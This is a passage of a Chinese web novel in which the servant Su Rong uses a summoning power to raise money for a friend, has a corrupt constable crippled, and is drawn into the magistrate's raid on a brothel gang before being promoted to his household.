一面对苏蓉连使眼色,暗示她快跑。
第63章 借钱
苏蓉知道激怒了老金氏,她走掉留下金梅,会承受老金氏更大的怒火。
于是,老金氏冲来之际,她不退反进。灵活地闪过对方黑漆漆的干枯爪子,滑溜地绕到其身后。
当着老金氏面,故意推了把金冬梅,恶狠狠骂她。
“你和你娘一样,都不是什么好东西,以后少假惺惺来看我?我讨厌你!”
对着发呆的金冬梅,挤了挤眼睛,顺势跑掉了。
金冬梅反应过来,迎来老金氏又一巴掌。不过这一巴掌只往她身上招呼,力道也轻不少。
老金氏气急败坏目送苏蓉一溜烟跑没影的背影,恨铁不成钢地教训闺女。
“没用的东西,她推你,你手也不知道还?现在知道那贱皮子不是好东西了吧?看你以后还帮着她?”
金冬梅垂下眼帘,一声不吭。
苏蓉躲在拐角,手里紧紧捏着一粒豆子,眼中涌动着仇恨的光。
然而,直到金家母女去远,她没下决心撒出豆子。
这是白天,行人众多。而且她不能当着金冬梅的面,害对方母亲。记一饭之恩也罢,伪善也罢,此刻非报仇良机。
经过集市,她买了一斤生豆子。原本有兴趣的晚饭,吃起来没滋没味。
眼见夜幕降临,打上一桶井水,苏蓉准备将就烧一锅热水,擦洗身体。
城里柴火要买,二十文一担。香胰子用不起,几文钱一包的澡豆先拿水调成糊状,才能涂抹在皮肤上,轻轻搓洗后用清水冲干净。
总之一个人洗澡是非常麻烦的事。她手忙脚乱半天,弄得厨房院子全是水,勉强用干净帕子把头发拧得半干,换上一身旧衣以防作凉。
正收拾残局,院门突然被“砰砰”敲响!
苏蓉一颗心悬起来,这么晚了,会是谁来?
想到左右邻舍都有人,她稳住心神,扒门缝看外面。
竟然是张厨娘站在外面!右手环住自己左臂,两眼间没有焦距,有点失魂落魄地茫然站立。
苏蓉连忙开门,把人扶进院。现在堂屋有桌椅了,她把张厨娘搀到椅子上坐下,心里隐隐有不安预感。
“张婶子,为何这么晚过来?是不是出了什么事……”
张厨娘拉住她的手,木呆呆的表情,有了丝活泛。脸贴在苏蓉袖管上,苏蓉感觉一股潮湿的暖流,迅速浸润衣衫。
她任由张厨娘抱住自己崩溃地哭了一阵,等对方稍微平静下来,才扶正对方身体,给她倒了杯白开水。
张厨娘算是个意志坚强的人。会这般失态,这么晚过来,邓宅一定发生了大事。
至少对张厨娘而言,是大事!
果然,张厨娘平稳情绪后,第一句话就是重磅消息。
“苏丫头,周姐姐……被送到庄子上去了!”
苏蓉睁圆眼睛。
周管事不是刘夫人的心腹吗?刘夫人即便有些嫌弃自己陪房不给力,十多年跟随,没有功劳也有苦劳吧?
怎么突然把人赶庄子上去了!
身为奴籍,别以为赶到庄子上是给你自由。那庄子属于邓家私人产业,犯错的下人丢过去,只能劳作一生!吃饱穿暖不问!生病等死!
不然,大户人家为什么把赶到庄子当作一种惩罚?下人们一旦遭受这种处置,跟天塌了似的求饶。
张厨娘喝了几口水,终于平静下来,苦涩地说出原因。
“夫人这回是真病的不行了。陶姨娘管家,故意克扣夫人用度,以次充好换夫人的药材。周姐姐想办法告诉老爷,老爷置之不理。”
苏蓉不语。
她对刘夫人没有分毫的同情。
作孽太多,终于报应在自己身上。看在张厨娘面子上,她不出口幸灾乐祸的话,已是最大善良。
张厨娘自然知道这一点。
她不指望苏蓉能帮助夫人。连她自己也不想理会刻薄寡恩的夫人。只是周姐姐与她情谊深厚,身陷险境,能帮忙一定要出力。
简单述说邓宅现状后,她转入正题。
“现在周姐姐被陶姨娘随便拿个错,打发到庄子上。没人帮她的话,只能等死……”
她怕苏蓉体会不到情况危急,着重强调:“周姐姐当了多年管事,为夫人干了不少脏手的事。现在她一夕落魄,怕多的是人要她死!”
情急起来,忍不住双目又浮现出泪花。
“今夜,还是看门婆子与我相熟,冒险偷偷把我放出来,我才能来找你……”
苏蓉默然片刻,提壶给她杯中续上水。
“张婶子,你想让我怎样帮你?”
超过她自身能力,那肯定不行的!张厨娘对她曾经的照顾和友情,达不到以死相报的地步。
“我想筹一笔钱,悄悄送给乡下的周姐姐。”
张厨娘目光希冀地看着苏蓉:“她有傍身财,凭她的聪明,一定能在庄子上活下来!先活下来,才能谈以后?”
苏蓉心里感叹。
换位思考,周管事跟着刘夫人,没少干双手染血的事。受害者角度看,她们绝对是丧尽天良,罪该万死。
可偏偏周管事这样的人,有张厨娘这样有情义的朋友。不危及自己主子利益的情况,她也愿意给苏蓉适当照顾。
人没有纯粹的善,也没有纯粹的恶!
感叹过后,她凝视着张厨娘的眼睛,直接问:“张婶子,你想借多少钱?”
张厨娘面皮一阵潮红,显得窘迫。
“苏丫头,我知道你新买了房子,手头肯定不宽裕。但周姐姐生死危难之际……我私房钱这些日子打点上下,费掉不少,只剩十五两银子了。”
“如果能凑到二十两,周姐姐在庄子上,定能过得好?”
所以,张厨娘意思是借五两?
苏蓉沉默,她兜里只剩百来文钱,穷得叮当响。即使有金手指,短期内也凑不到那么多钱。若是张厨娘早些时间来问,她至少有一两多银子……
难道卖房?
不,绝不可能!
周管事和张厨娘又不是方婆婆祖孙!
张厨娘看着苏蓉表情复杂变化,一颗心沉到谷底。勉强挤出两分苦笑:“苏丫头,若是你手头实在太紧,不用借了。我另外再想想办法。”
都是苦命人。
当真有钱,苏蓉也不至于继续给人当下人了。
第64章 弄残鲁班头
苏蓉沉吟片刻,下定决心。
“张婶子,你给我两天时间,我想办法给你筹钱!”
柳暗花明,张厨娘又惊又喜,还有隐隐担心:“苏丫头,你别勉强自己?”
五两银子,够买一个丫头了。赎身也可以谈。只是她和周管事跟随刘夫人,知道太多不该知道的事,主子不会轻易放过她们。
钱唯一的作用,是让周姐姐在乡下收买人心,让日子好过一点。
苏蓉起身。
“两天后,你来我这里。”
有能力帮,该帮,就决定帮。
送走张厨娘,苏蓉拿出三粒豆子。指尖拨动圆滚滚的豆身,深吸一口气。
机会一天只有三次。
金家人短时间不可能把金冬梅嫁出去,先助张厨娘保住周管事的命吧!
一晚上没睡好,铜甲兵帮忙狩猎回六只野鸡、三只野兔。为保证万无一失,苏蓉选择最低水准要求铜甲兵。
第二天,苏蓉照常赶去上工。忙碌一天后,向姜厨娘恳求,把下个月的放闲日,调一天到明天。
每个人家里都有出急事的时候,姜厨娘爽快同意了。县衙厨房这活儿,很多人求还求不来,她相信苏蓉不至于不珍惜。
第三天,苏蓉依葫芦画瓢继续召唤铜甲兵,猎来五只野鸡,四只野兔。
接下来的时间,她异常忙碌。把十来只野鸡野兔,分别送到县城远近的大小酒楼推销贩卖。
为不引人瞩目,特意花钱坐车绕道。同一片区域,绝不卖给两家人。碰上压价的,不太狠也卖。
最后一数,还差两百文凑齐五两银子。
苏蓉摘下晾晒得半干的何首乌及灵芝,直奔附近药房。
掌柜挑剔地打量这一丁点药材。卖相不好、年份不够、没晒干、灵芝还是残缺品,加起来二两重不到。
想不收吧,确实算珍贵药材。估量一番,最后勉强给了一百五十文。
苏蓉没和其纠缠。拿着钱赶紧回家。打量一番家徒四壁,咬咬牙,叫来挑夫收走两把椅子。
买时差不多二百文一把,现在急需用钱,两把椅子只换了一百文。
不过,总算凑足五两银子了!
奔波一天苏蓉累死了,挪动两条僵硬的腿,去集市买了两个黑面馒头。啃完往木板上一瘫,再不想动弹。
最近卖野鸡野兔太频繁,导致好多家酒楼饭馆的人认识她,短期内不能再去了。
张厨娘酉时赶过来。
包头帕子松了,围裙没来得及解下,衣裳沾满油污。垂头丧气,肉眼可见的疲惫。
苏蓉有些疑惑。就算周管事落魄,张厨娘好歹还掌管着厨房吧,怎么看上去比杂役还狼狈?
她把这疑问问出口。
张厨娘苦笑道:“苏丫头,我已经不是厨房管事了。现在和你一样,是杂役。陶姨娘另请厨娘,安排她身边一个婆子来管理厨房。我……”
她叹口气,咽回到口边的话,换了句说辞:“我现在和你一样,拿三百文工钱,当个洗菜娘!”
没有落到周姐姐那下场,是她一直窝在厨房。没树敌太多,也没得罪过陶姨娘。
苏蓉给她倒了杯水,看着对方意志消沉的样子,有些不好受。
“张婶子,你以后打算怎么办?”
帮了周管事,张厨娘可能身无分文。以后就靠每月那三百文月钱,能熬到老?
“还能怎么办?先熬着吧……”
张厨娘打算坐下来,看到堂屋摆着的一套旧桌椅,昨天还见过,今天竟然少了两张椅子,不由一愣。
苏蓉把一包散碎银子,连同大把铜板推到面前,她顿时明白了。接钱的手有些抖。
“苏丫头……”
她发白的嘴唇翕动几下,捧着银包,猛地站直身子,然后弯腰想向苏蓉跪下去!
苏蓉眼疾手快,一把搀住她:“张婶子,你这是做什么!一点银子,值当你这样?”
张厨娘眼睛泛红。
“苏丫头,人落难了,才看得清谁好谁歹!你放心,这钱只要我不死,一定还给你!”
苏蓉拉起她,含蓄说了句:“张婶子,你也该考虑下自己的出路。”
张厨娘鼻子一酸,险些落下泪来。
“苏丫头,我明白,你为我好。可是……当年十三岁被卖进邓宅,两次遇险差点被主子打死,都是周姐姐保我!我怎能弃她于不顾?”
“夫人后来将我许配给庄子的一名管事,那厮好赌成性日夜打骂我,也是周姐姐求了夫人,做主让我们和离。”
“我欠周姐姐良多,今生无以为报!”
苏蓉第一次听她说身世。
原来张厨娘命运与她何其相似!怪不得对方从没像其他人那样,嫌弃她弃妇之身。
一时间苏蓉无言以对。直到将张厨娘送出门,才轻叹一声:“张婶子,救人,要记得量力而为!”
张厨娘含着眼泪,对她用力点了点头,方才怀揣银包,匆匆而去。
苏蓉目送她萧索孤寂的背影。不指望对方还钱,只希望对方能达成心愿,保住自己想保全的人。
张厨娘这一去,很久没再有音讯。苏蓉在张厨娘借钱的第二天,召唤出铜甲兵,恶狠狠吩咐了一句。
“去弄残鲁班头,伪装成他无意摔伤的样子!让他躺在床上,至少半年下不了床!”
老金氏不过是看上鲁班头的权势。若是鲁班头受伤成废物,在床上一躺一年半载。别说他积蓄起来的威望,就算公职,怕也会被官府开除!
她不信,这样失去价值的鲁班头,势利的金家人会将金冬梅嫁过去?
鲁班头祸害自己前妻,没拿到罪证算便宜他!但金冬梅是自己姐妹,绝不能眼睁睁看着她掉进火坑!
晚上下工前,苏蓉听到消息在衙门传播个遍。
鲁班头早上点卯缺勤。他家小子来衙门告假,说自家爹睡糊涂了,上茅厕失足掉进粪坑摔断了腿。
叶清辞闻言眉头不皱,大手一挥,痛快给批三月长假。
这个鲁班头,家里三代在衙门当差,经营的势力盘根错节。他正愁怎么在不伤元气的情况下,把衙门一批混吃等死的衙役清理掉。
鲁班头这一摔,摔得恰是好处!
县令大人心情愉悦,特批鲁班头伤假期间照常领俸禄。
当然,三个月后若还不能伤势好转,回衙门报到,这份公职就不能保住了。
有人欢喜有人愁。
这回轮到老金氏着慌了!
第65章 狭路相逢
听说消息的金竹海向上司请假,连夜赶回丰定村。
“娘,你们要把小妹许给鲁班头做续弦,为什么不先问问我意见?”
金竹海十分生气。一进屋蒲扇大巴掌拍下去,堂屋八仙桌应声“哐啷”碎成两片!
他在军营里忙碌,虽说顾不上家里,但不代表他不关心家里。
尤其小妹,随着年龄增大人长开,逐渐有了两分姿色。好好养白养丰腴,未必派不上大用场。
自家娘和小弟如此鼠目寸光,又擅作主张,着实令他生气!
老金氏见倚重的大儿子发火,噤若寒蝉,立马将责任往还在县衙的二儿子身上推。
“老大,娘哪懂这么多?是安福他再三跟娘说,鲁班头家里有钱,三代在衙门当差,整个县城的人很尊重他,县令大人也给他两分薄面……”
“娘这不是想着,冬梅若能嫁过去,不是享福吗?就算年纪大点,年纪大点的男人才懂疼人……”
看着大儿子墨黑的脸色,老金氏越说越小声。
金冬梅在厨房轻手轻脚忙碌,侧耳倾听里屋动静。
金竹海冷哼一声。
到底是老娘,他有气不好爆发。回头找小弟算账,三天不打,上房揭瓦!忘记谁才是金家真正的当家人了?
“小妹许给鲁班头做续弦这件事,到此为止!”
他一屁股坐下来,压抑着脾气说服老金氏:“听说那鲁班头前两日摔断了腿?别说能不能好,他的前程,在叶县令眼中已经没了!”
“啪”!
随手甩出两大锭银子丢在桌上。
老金氏见钱眼开,颤抖着手摸过去,惊呼:“老大!你哪来这么多钱?”
金竹海哼了一声:“我说了,我颇得郑校尉赏识!只要跟对人,以后的好处,岂止这区区二十两银子?”
瞅着老金氏捧着银子,笑得眯了眼,甚至上牙齿咬一口,辨别真伪。简直没眼看,转过头去。
“我如今是八品屯长,有望升任七品都尉。作为官身,有资格使唤奴婢。”
“娘,用这钱,去买个粗使丫头回来,帮忙干活。省得你辛苦,顺便将小妹好好养养。养好了,她的去处,我才能给她找更好的,有利咱们家!”
这话老金氏听进去了,她相信自己大儿子见识。
不然,金竹海也不能自作主张投军后,在短短时间内立下功劳,获得上司青睐并升任屯长啊!
“老大,你是不是心中已有合适冬梅夫婿的人选了?”
老金氏忍不住激动探听。
金竹海哼一声。
“八字没一撇!那人什么样的美女没见过?娘,你这小半年,一定要把小妹养精细点,别让她脸黑手糙见不得人!”
顿一顿,给心痒痒的老金氏下一个钩子。
“小妹底子不错,等养好了把她送出去,说不定能给咱家挣来大富贵!娘,你可别光顾眼前?家里钱不够问我,别再把小妹随便许人了!”
老金氏相信大儿子,连连点头:“老大,你考虑长远,娘听你的!”
金竹海说服老娘,总算松了口气。
看着地上一堆桌子碎尸,眼神阴鸷。寻思这回差点因苏氏那个贱人没了前程。好在自己紧抱郑校尉大腿渡过难关。
等他上位,看他怎么收拾得罪过自己的人!
即使叶清辞又怎样?曾经的探花、翰林编修,如今不过是个七品县令。
郑校尉与其平起平坐。自己属于军营,对方插不上手!
厨房里,金冬梅紧紧握住扫帚把,无力靠在墙上。
暂时不用担心嫁给鲁班头做续弦,真好!虽然对方伤得诡异、巧合,怀疑是蓉姐姐在暗中帮自己?但能逃离灭顶之灾就好。
只是大哥说的那些话什么意思?
好好养她……
足够了解家人的金冬梅内心发寒。
她可不会天真认为,大哥这是在关心爱护她!
猪养肥养好了,是要拉去屠宰、卖掉的!
听不到金家人与鲁班头联姻的小道消息,苏蓉相信金冬梅成为续弦的危机过去,安心继续打工。
时间一晃进入盛夏,她终于领到在衙门厨房的第一个月工钱,六百文。
一穷二白的苏蓉,觉得自己又能支棱起来。双喜临门的是,不间断地召唤铜甲兵帮她寻找草药,金手指又连续升了两级。
一天三次召唤机会,每次一人,限时三个时辰。就是说,遇到危难,铜甲兵能不间断保护她十八个小时!
苏蓉信心大增,这差不多是全天候待命了。
不知金手指最终能发展强大到哪一步?当真能等到召唤无数铜甲兵的时候,她是不是有资格问鼎天下,征伐中原?
心潮澎湃激动一瞬,又冷静下来。看看自家空荡,时至今日只能睡草堆木板的“床”。
算了,还是别做白日梦!
怕引起叶县令怀疑,她连金家人也不敢随意报复,在耐心蛰伏等待时机。
好在铜甲兵存在的时限拉长,这段时间给她找回药材的几率大增。
瞅一天放闲日,苏蓉背了大背篓晒干的药材去卖。为避免有心人注意,照旧奔波县城每一个角落,分别售卖给多家医馆药铺。
不算极珍稀的药材,量大也卖了二十来两银子。
晌午后她采购粮食,添置各种炊具家具。总算把家布置得像个人住的地方,看上去不再像雪洞一般。
不知第几趟跑集市,差不多月上梢头。准备去杂货店买粗盐调料,这样晚上在家开伙,可以做些自己想吃的。
才从店铺出来,前方晃过去一道人影子,十分眼熟。苏蓉心中一动,毫不犹豫追踪上去。
果然是金安福!
哼着不成调的曲子,身体摇摆,手提一壶酒,不知要去哪里?
苏蓉怀疑这小子又怠工。打定主意,跟踪到没人地方,就召唤铜甲兵,狠狠修理对方一顿。
不说碎尸万段,打残这个狗仗人势的东西必须的!
走在前方的金安福,明显对县城道路了如指掌。哪怕喝得几分醉意,眼睛发花,仍能精准穿过七拐八弯的巷道。
见天色越发黑下来,离家越来越远,前方隐隐传来丝竹靡靡之音,苏蓉迟疑了。
若她没猜错,金安福这是在去青楼窑子的路上?再跟下去,与那些嫖客、下九流的人撞见,怕有危险。
看看周围行人寥寥,苏蓉偷偷摸出一粒豆子。
第66章 她身上没有那么单薄
刚要掷出豆子,突然——
砰!
一条黑影不知打哪个方向蹿出,一拐弯,重重撞在她身上!
对方体形坚硬似铁板,高速冲刺中如同一台轰隆隆开过的机车,碾得苏蓉两眼发黑、胸口发闷。
来不及做出任何反应,整个人就被撞飞出去!
好在对方眼明手快,一把撑住她的腰,将已经倒飞出去的人硬生生捞回来,扣在自己怀里!
苏蓉惨叫声即将溢出口,那人急忙伸出另一只手掌,死死捂住她的嘴,将人扯至黑暗中堆积的杂物,找个角落蹲下来。
“抓住他!”
“别让他跑了!”
苏蓉奋力挣扎,用力拍打制住自己的人的手臂。但她力量像是蜻蜓撼石柱,对方巍然不动。
耳听阵阵叫嚣、杂沓脚步声由远至近,一群青衣短靠的凶恶汉子,挥舞各种棍棒、短刀,从胡同拐角跑过去。
苏蓉心内惶恐不已,不由得安静下来!
这伙追兵看上去像青楼里面的打手,一窝蜂跑出来,目标是身后这男人吗?
她虽然是路人,被打手们看见与这男人在一起,搞不好会遭池鱼之殃!
于是,她大气不敢出,听凭对方按住自己。一只手,悄悄在打包的调料里摸索,想摸出一粒豆子。
男人气息轻轻打在她裸露的颈边,带来一阵温热。她起了一层鸡皮疙瘩。
注意到苏蓉的小动作,男人攥住她胳膊的五指稍微用些力气,声音从蒙面巾后模糊不清透出来。
“别动!”
声音不大,却让苏蓉整个人呆滞住了!
好耳熟……
叶清辞的声音?
她似乎撞破了不得的秘辛!
叶清辞黑衣蒙面,潜伏在这种乌烟瘴气的地方做什么?如果是正在办案查案,她会被牵连进去不?
现在装着不认识,还来得及吗?
彼此靠那么近,叶清辞能清晰听见怀中人心脏咚咚狂跳的声音。这苏娘子身上没有看上去那么单薄,圈在臂腕中,触感柔软。
唇瓣在他掌心处颤动发抖,仿佛两片羽毛,刷得他心里微微起了阵异样涟漪。
他很明白苏蓉现在处于极度恐惧状态。但危机时刻,不敢贸然放开她。倘若苏蓉被那群穷凶极恶的打手发现,下场只有一个!
过了片刻,等追兵远去,叶清辞拉着苏蓉,悄悄从巷子另一头离开,抹黑钻进一家民宅虚掩的大门。
苏蓉全程不敢吭声,乖巧跟着走。手里捏几颗豆子,寻思对方只要露出杀人灭口的意思,她立马先发制人!
才不管什么县令不县令,她命最重要。
有人在他们进门后,关上大门。这个时候,叶清辞才松开紧抓住苏蓉的手。
借着屋内透出的昏黄灯光一看,苏蓉发现接应叶清辞的人,果不其然是傅振和燕彬。
见到苏蓉,两人同样很吃惊!
傅振失声道:“苏娘子,你怎么会在这里?”
还是被大人带进门的!
燕彬目光微闪。
他刚才看得很清楚,两人手牵手进门的!尽管两人身份云泥之别,这般举止亲密,还是难免让人怀疑。
来的过程,苏蓉思考得很清楚了。
叶清辞不是一般人,在他面前撒谎,没有好果子吃!而且匆忙间,她编不出好借口,把自己跑来烟花之地的行为合理化?
于是,她决定半真半假。
“我……大人,我看见金安福鬼鬼祟祟,朝这个方向来。我寻思他不当值偷跑来这里做什么?于是跟踪他,结果……”
叶清辞了然。
苏蓉手里还拿着打包的刚买调料。之前抱着她时,就闻到浓郁的香料味了。应该没有说谎,是临时起意跟踪金安福才来到这里。
苏蓉与金家人的恩怨,众所周知。想抓金安福的错整治金安福,再正常不过。
不过傅振还是不免毒舌两句:“女人果然小肚鸡肠,为报复人,跟踪到这里来!你知不知道这是什么地方?差点坏了我们大人大事!”
苏蓉尴尬屈膝。
“对不起大人,民女不知道……”
叶清辞对她摆手。
“今晚你不能回去了,就在这里住下吧。”
即保证苏蓉安全;也避免小概率的可能,苏蓉是对方同党,通风报信。
苏蓉老老实实答应。
这种情况,她没得选。
不过,刚才她故意拖金安福下水,叶清辞没什么表示。看来对方正忙,没工夫关注别的小事。不由得让人失望。
傅振把苏蓉带走,叶清辞方才开口对燕彬说正事:“证据确凿。燕彬,你速去调集人手,今夜我们行动!”
燕彬领命而去。
叶清辞摘下蒙面巾。
忽然,注意到袍角沾上的灰。随手拍拍,一粒圆鼓鼓的小东西随之掉落。他接住一看,原来是颗生黄豆,不知怎的掉进衣裳里。
他不在意地扔掉。
这间民宅不大,是叶清辞租来办案用的。苏蓉一个人睡在十平米不到的房间,听着外面街道乌七八糟,闹哄哄一晚上,到天明才安静下来。
她缩在床上,压根没有去偷窥热闹的心情。
不管叶清辞在处理什么案子,牵扯附近青楼,那些人全是亡命徒,最好别趟进浑水!
直等到天亮,叶清辞才用了辆青布帷裳挡得严严实实的马车,把她悄悄送回县衙。
苏蓉连民宅外面的街道情形,也没能见着。只觉得异常安静,空气中弥漫着一股若有若无的血腥味。
先还担心不知如何向姜厨娘交代。结果厨房至少有两名杂役,因为住得较远,半夜封城,直到现在也没来。
众人人心惶惶,交头接耳议论发生了什么事?姜厨娘冷着脸训斥厨工们加紧干活,对于苏蓉迟到,问也没问。
几天后,苏蓉通过整理拼接各种流言的碎片信息,才得知当晚,是叶县令带人清除了一处藏污纳垢的窝点。
这伙贼人利用青楼做据点,盘亘宜阳县多年。绑架勒索、逼良为娼、杀人越货,无恶不作。
据说与梅主簿等人也有勾结。这算人赃并获!
叶清辞率队亲身监控,掌握大量证据事实,才一举将其拿下。
里面甚至有来自岷郡的贼徒。
苏蓉心头砰砰跳!
原来叶清辞从没放弃对杀人碎尸案凶手的追踪?就不知那来自岷郡的贼徒,是不是姓王了?
第67章 升职了
最遗憾的是金安福受了番惊吓,却没受到任何牵连。命真大!而且他下值后的私生活,不违法乱纪,县令大人也管不着。
只是老实了一段时间,不敢再随便往那风花雪月的地方钻。
苏蓉手速麻利地洗菜。
随着时间流逝,当夜恐惧逐渐淡忘。她在意的只是,何时能让金家人受到惩罚?
这些人过得逍遥,是对原身和她的最大不敬!
“苏妹子!”
姜厨娘姗姗行到苏蓉面前。脸上含着浅笑,眼睛里闪过一丝异样的光芒。
“县署內宅昨日辞工一名粗使嬷嬷,大人点名让你替补,你愿意去吗?”
县署內宅是叶清辞日常生活和休息的地方。燕彬与傅振被任命为县尉与典吏,兼职侍卫,也住在那。
不过他们孤身赴任,家不在宜阳,偌大院子没有女眷。只安排两个粗使嬷嬷,负责洒扫、端茶送水。
看得出县令大人不是一般的洁身自好!
但特意点名苏蓉去……
这,是否代表苏蓉在叶清辞心目中与众不同?
难怪姜厨娘目光异样。其他听到这话的厨工们,个个假装忙碌,实则侧耳倾听两人对话,对苏蓉投来意味不明的眼光。
“內宅使唤人员,月钱一两,每季发四身棉质衣裳。活儿轻松,偶尔还有赏钱!”
似乎看出苏蓉在犹豫,姜厨娘毫不含糊把內宅打工人员的福利,一一列举。
“我去!”
苏蓉眼睛瞬间发亮。
她是图钱的人吗?
指定不是!
她图的是领导的看重!士为知己者……努力。
姜厨娘笑了,拍拍她肩:“苏妹子,好好干!多存些傍身钱,才是最重要的?”
她算是很含蓄地提点苏蓉,不知苏蓉有没有听懂。
大人们的看重,有时是把双刃剑。自己把握不好,生出不该有的心思,未必是福。
苏蓉顶着厨房一票人羡慕嫉妒恨的眼神,大大方方和所有人告了别。在大家不知真诚与否的祝福声中,跟随姜厨娘来到县署內宅。
此刻午后,院子里静悄悄的。
苏蓉情不自禁望了眼院中那株枝叶茂密的大树,判断燕彬是不是仍然藏身树上?
可能因为有姜厨娘带领,或则她现在是县衙内部人员,并没有人现身盘问他们。
姜厨娘把苏蓉带进院门,一位早已等待在那里的青衣嬷嬷,迎接上来。
“曾嬷嬷!”
姜厨娘先恭敬地对那嬷嬷打声招呼,才回头为两人互做介绍。
“苏妹子,这位是內宅管事,以后你听她安排干活!曾嬷嬷,她就是苏蓉。”
曾嬷嬷四旬年纪,肌肤松弛,向下耷拉的眉眼含有几分精明与凌厉。与姜厨娘并肩而立,矮半个头,生生衬托得姜厨娘的美貌,更上一层楼。
曾嬷嬷没有自己辣眼睛的自觉。打量苏蓉,还让苏蓉亮出双手,看了看她布满老茧、指甲剪得短蹦蹦的糙手,最后满意点头。
“像个能干活的人!别看是大人点名要,敢偷懒耍花花肠子,我曾婆子一样禀明大人,给你退回去?”
先前大人提名苏蓉,她还担心来个蛊惑大人的妖精。如今见苏蓉模样干净利落,她满意了。
苏蓉依旧陪笑,但笑容没有一开始真心。心中腹诽:你要不要再掰人牙齿看看?搁这选牲口呢!
果然阎王好见,小鬼难缠。
这曾嬷嬷以后是她直系领导,看样子不太好相处。但来都来了,冲明面的高福利,还有经常能见到叶县令……
蓦地,她愣住了!
她为什么会这么想?她为什么想要经常见到叶县令?
姜厨娘没接曾嬷嬷话茬,人送到她便尽了职责。笑道:“那,曾嬷嬷,人我就带到这!厨房事多,我先回去啦?”
临走,勉励苏蓉一句:“听曾嬷嬷的话,好好干活!”
苏蓉若被退回厨房,她也没脸。
等姜厨娘离开,曾嬷嬷才带着苏蓉简单参观內宅。县令所居住的县署內宅,是一个简单的四合院。上次苏蓉来,没能窥探全貌。
正房三间,是叶清辞办公休息的地方。两边耳房,为傅振、燕彬二人居住。
西厢房为待客卧室,东厢房做库房。原本设有小厨房,叶清辞上任后吃大厨房,小厨房便改成杂物间。
厢耳房是厕所,內宅下人住倒座房。
倒座房一共三间。最东面一间最大,有门洞,曾嬷嬷起居在此,方便接待来客。其他两名住剩下两间。
苏蓉不知道,这安排是她上次冒失进入內宅,被守卫的燕彬发现受惊,叶清辞后知后觉设立的。
只要过了曾嬷嬷这关,燕彬不会再现身盘诘。
曾嬷嬷将苏蓉带进上任嬷嬷住的房间。里面不大,不足十平方。放着一米二宽小床,床边有床头柜,墙角有衣柜,都是八成新的便宜木材。
最难的是,向北一面有小窗,采光通风很好。而且一人一间屋,关上门私密性强。
苏蓉满意极了。有个高薪工作混吃等死,还安全系数高,她不觉得自己当下人委屈了。
一直是这种工作环境,领导宽厚,她能干到叶清辞官或升迁调走!
曾嬷嬷又带她见了另一位同事。年纪尚轻,二十来岁,有家有室,名叫罗碧珠。男人是衙役,膝下一双儿女尚幼。
微薄的薪水难以过好日子,故而男人想办法,把媳妇弄进县衙,领一份差事。
也就是现在叶清辞在任有这机会。换成上一任县令,不是美女休想进来,衙役们也不敢送妻子女儿进来。
罗碧珠是个不善言谈的羞涩小媳妇。对苏蓉友好笑笑之后,便低头继续拿着抹布,认真擦每间屋的家具。
桌子板凳亮晃晃能照出人影,她不敢丝毫懈怠,仔细对着光线,抹去新沾上的灰尘。
“以后,碧珠主要负责几间正房的清洁,端茶送水。你负责打扫院子及其他房间,顺便为大人们取餐。大人临时召唤我们不得空,你也要跑腿。”
曾嬷嬷仔细分配苏蓉的工作内容,见苏蓉频频点头,不放心叮咛一句。
“大人房间属于办公重地,没有传唤,你不得私自进入!谨言慎行,平时好好干活。否则出了事,可不是只罚一顿板子那么简单?”
第68章 周管事没了
苏蓉表示理解。
一县父母官嘛,私人领域肯定有绝密档案重要公文,她又没活够进去乱看什么?
之所以安排罗碧珠负责这一块,想也是新来乍到不信任她罢了。
这很正常。等曾嬷嬷交代完离开,她撸起袖子,拿起扫帚,立即进入工作状态。
上一位粗使嬷嬷走了两天,卫生环境有些拉胯。她要加把劲,才能在下工前把属于自己的活儿干完。
这里没有厨房嘈杂,更没人说长道短道论是非。偶尔曾嬷嬷来看她的干活情况,剩下时间,都是她一个安静干活。
先还担心到了冬天手会不会被水泡烂,考虑能做多久问题,现在几间屋花不了两个时辰打扫完,基本就闲着了。
她顿时理解,为什么罗碧珠一刻不停擦已经光可鉴人的家什了。现在换着她,也得没事找事干呀?不然,怎对得起那一两的工钱!
酉时初一刻,曾嬷嬷安排苏蓉去厨房取餐。
盒盖贴有封条,苏蓉也不知里面装的什么。只不过三个人的分量确实挺沉,她一路提回內宅,换了好几次手。
半个时辰后罗碧珠把脏碗盘收拾到餐盒里,苏蓉拿去还到厨房,今天一天的工作算是结束。她可以下工,明早准点来。
至于要吃夜宵或早起,叶清辞动手能力比前任县令不知强了多少,根本不需要人近身侍候。
苏蓉在厨房和前同事们客套聊几句,提上姜厨娘给打包的晚餐,直接穿着新工作服回家。
这內宅下人发的衣裳是棉质,比粗麻布杂役服不知好了多少。也没溅上油污,出门在外完全不寒碜。
苏蓉一边生火烧热水,一边吃尚有余温的打包饭菜,听左邻孩子哭,右舍书生朗朗念书,心情格外宁静。
若日子一直这样平平淡淡过,不是不行。只叶大人这县令,任职最多六年,到时换任新官,宜阳县说不准还能像现在这般吏治清明。
她虽然有金手指,到底两世只是个小老百姓,没有宏图大志。
现在打工身份是最好的保护色。
等时机成熟,投资开店,通过金手指得来的钱,自然能洗白。那时她就能辞工,堂堂正正回家享受富贵生活了!
盘算着未来计划,听到院门被人“啪啪”敲响。把碗筷一放,起身去开门。
以为是热心邻居向大婶,结果门一开,发现外面站着的是多日不见的张厨娘!
穿了身浆洗得发白的旧衫子。鬓边一朵小小茉莉花,蔫得花瓣儿枯黄,还留在头上。整个圆胖身形,肉眼可见缩水一大圈,无精打采。
苏蓉差点没认出对方!
顿了一顿,才赶忙将人往里让。
张厨娘面上挂着勉强的笑意,看看布置一新的屋子,再不是前两次来看到的家徒四壁,转而欣慰。
“苏丫头,看到你现在越过越好,我就放心了!”
苏蓉给她倒了杯水,见对方笑得像哭,不禁皱眉。张厨娘这身打扮,怕是目前处境更加落魄了?
果不其然,张厨娘把杯子接在手中,还没送到嘴边,便潸然落泪。
“苏丫头,周姐姐……没了!她……没了……”
邓宅不敢人前哭。只有来到苏蓉这里,她憋闷已久的情感,才得以完全释放出来。
“什么?”
苏蓉感到巨吃惊。
周管事被撵到庄子上,这才一个月不到。好好的人,说没便没了?
难怪张厨娘这身打扮……
不能明目张胆祭奠自己好姐妹,只能以这样近似的方式,来暗暗悼念对方吧?
“庄子上报的是暴病身亡……”
张厨娘泪流满面:“可我们都知道,哪来这么多的暴病身亡……周姐姐走得好冤呀!我好不容易凑足了钱,都来不及送到她手里?”
倾述着,不觉趴在桌上,嚎啕大哭。
苏蓉有些难过,却不知道该怎么劝慰她,默默将自己手帕递过去。
张厨娘双目红肿,自己先坐直身体,收起悲声。从随身包袱中取出一包银子铜板,放在桌上。
